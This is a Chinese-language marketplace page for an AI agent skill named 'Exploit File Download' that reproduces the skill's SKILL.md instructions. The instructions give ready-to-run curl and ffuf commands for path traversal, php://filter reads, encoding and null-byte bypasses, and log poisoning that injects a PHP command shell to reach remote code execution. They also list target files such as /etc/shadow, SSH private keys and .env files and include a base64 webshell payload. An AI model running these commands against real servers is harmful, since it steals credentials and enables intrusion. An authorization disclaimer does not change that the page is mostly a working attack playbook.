Exploit File Download 标志

Exploit File Download

社区
crazyMarky
exploit-file-download

任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。

概览

发布者crazyMarky
代码仓库pentest-skills
技能名称exploit-file-download
星标数
342
复刻数
37
附带文件
8
许可协议Apache-2.0
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 8 个附带文件

    模型执行任务时可读取的脚本、模板和参考资料。这些文件为只读文件,绝不会被执行。

  • 开源

    由 crazyMarky 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Exploit File Download AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/crazyMarky/pentest-skills/tree/main/exploit-file-download
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/crazyMarky/pentest-skills.git /tmp/pentest-skills
mkdir -p .claude/skills
cp -r /tmp/pentest-skills/exploit-file-download .claude/skills/exploit-file-download
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Exploit File Download,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Exploit File Download。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Exploit File Download 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

任意文件下载与 LFI 检测和利用

授权声明

本 Skill 仅用于授权安全测试。使用前请确保:

  • 获得目标系统所有者的明确书面授权
  • 测试范围和授权内容已明确定义
  • 遵守当地法律法规

未经授权的渗透测试是非法行为。


概述

本 Skill 专注于任意文件下载和本地文件包含 (LFI) 类型漏洞的检测与利用。

注意:很多端点实际上是LFI 模式(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力。


核心功能

1. LFI 漏洞检测

自动识别以下 LFI 特征:

  • 文件包含模式:参数值被直接用作 include() 或require() 的文件路径
  • 目录遍历模式:../ 序列用于遍历目录
  • 伪协议利用:php://filter、php://input 等
  • 路径长度限制:超长路径可能被截断
  • 特殊字符:%00 空字节可能绕过扩展名检查

2. 常见 LFI Payload

类型Payload适用场景
文件包含?title=index.php简单文件包含测试
路径遍历?title=../../../../etc/passwdLinux 目录遍历
伪协议?title=php://filter/convert.base64-encode/resource=/etc/passwd读取敏感文件源码
Windows 路径?title=C:\\Windows\\win.iniWindows 文件读取
URL 编码?title=%2e%2e%2f%2e%2e%2fetc/passwd绕过简单过滤

3. LFI 利用场景

  • 源码读取:读取 PHP 源码进行分析
  • 配置获取:读取数据库配置文件
  • 日志投毒:通过 LFI 写入日志获取 RCE
  • 图片马:配合文件上传 getshell

工具安装

必备工具

bash
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

# wget - 文件下载工具(通常已预装)
# macOS
brew install wget

# Ubuntu/Debian
apt-get install wget

可选工具

bash
# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt

# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash

使用方式

快速开始

bash
# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"

# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

场景 1: 基础路径遍历测试

bash
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"

场景 2: 伪协议利用

bash
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d

# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d

# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"

场景 3: 日志投毒 RCE

bash
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"

# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"

# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"

场景 4: 批量文件下载测试

bash
# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200 \
     -t 50 \
     -o lfi_results.txt

# 使用 wget 批量下载
while read path; do
    wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt

场景 5: 绕过技术测试

bash
# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"

# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"

# 空字节截断(PHP<5.3.4)
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"

# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"

工具选择指南

场景推荐工具命令示例
快速单点测试curlcurl "URL?file=../etc/passwd"
批量 Payload 测试ffufffuf -u URL -w payloads.txt
文件下载保存wgetwget -O output.txt "URL"
目录深度枚举自定义脚本见下方深度测试脚本
响应内容分析grep/diffgrep -i "root:x:0" response.txt

深度测试脚本

bash
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度

URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}

for i in $(seq 1 $MAX_DEPTH); do
    payload=$(printf '../%.0s' $(seq 1 $i))
    response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")

    if echo "$response" | grep -q "root:x:0:0"; then
        echo "[+] 成功!深度:$i"
        echo "$response"
        break
    fi
    echo "[-] 深度 $i: 未匹配"
done

敏感文件路径清单

Linux 系统

bash
# 系统用户信息
/etc/passwd
/etc/shadow        # 需要 root 权限
/etc/group
/etc/sudoers

# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ

# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa

# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog

Windows 系统

bash
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts

# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php

# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log

LFI Payload 清单

基础 Payload

../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/

编码 Payload

%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c

PHP 伪协议

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php

测试清单

侦察阶段

  • 识别所有可能存在 LFI 的参数(file, page, title, include, path, document)
  • 测试基础路径遍历(../)
  • 确认目标操作系统(Linux/Windows)
  • 测试伪协议可用性(php://filter)

利用阶段

  • 读取系统敏感文件(/etc/passwd, /etc/shadow)
  • 读取 Web 应用配置文件(.env, config.php)
  • 读取 PHP 源码分析应用逻辑
  • 尝试日志投毒获取 RCE
  • 尝试/proc/self/environ 利用

绕过测试

  • URL 编码绕过(%2e%2e%2f)
  • 双重 URL 编码(%252e%252e%252f)
  • Unicode 混淆(%c0%ae%c0%ae%c0%af)
  • 路径变体(.., ..//, ..././)
  • 空字节截断(%00)
  • 扩展名绕过(file.php.jpg, file.php.)

替代方案

如果主要工具不可用,可以使用以下替代方案:

主要工具替代方案说明
curlwgetwget -qO- "URL" 等同于curl -s "URL"
ffufgobustergobuster dir -u URL -w payloads.txt
ffufdirsearchdirsearch -u URL -e php
curl + grephttpx + nuclei使用 nuclei LFI 模板

相关 Resources

  • 技术文档: references/lfi_techniques.md - LFI 完整技术详解
  • PHP 伪协议: references/php_wrappers.md - PHP wrapper 参考
  • 绕过技术: references/bypass_techniques.md - 编码和过滤绕过
  • RCE 方法: references/rce_methods.md - 远程代码执行汇总

与 results-storage 集成

发现 LFI 漏洞后,可以存储到数据库:

bash
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/download?file=../../etc/passwd" \
  --payload "../../etc/passwd" \
  --file-read "root:x:0:0:root:/root:/bin/bash" \
  --severity Critical \
  --subsystem "Web Application"

数据库位置: ./data/results.db

相关技能: results-storage - 查询数据、生成报告


最佳实践

  1. 始终编码 Payload - 使用 URL 编码避免被 WAF 拦截
  2. 从浅到深测试 - 先测试 1-2 层遍历,再逐步加深
  3. 记录响应长度 - 成功响应通常长度异常
  4. 使用 base64 - 读取源码时用 base64 避免代码执行
  5. 不要忽略 403/404 - 有些 WAF 返回假错误码

最后更新: 2026-03-05 版本: 2.0

附带文件

技能加载后,模型会按需读取这些文件。它们仅作为可读文件提供,绝不会被执行。

常见问题

Exploit File Download AI 技能有什么作用?

任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。

为什么在 TypingMind 中使用 Exploit File Download?

因为您只需安装一次,就能搭配任何模型使用。Exploit File Download 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Exploit File Download?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/crazyMarky/pentest-skills/tree/main/exploit-file-download。TypingMind 会读取其中的 SKILL.md,打包相关文件,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Exploit File Download?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Exploit File Download 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Exploit File Download 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Exploit File Download AI 技能免费吗?

是的。crazyMarky 已在 GitHub 上根据 Apache-2.0 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇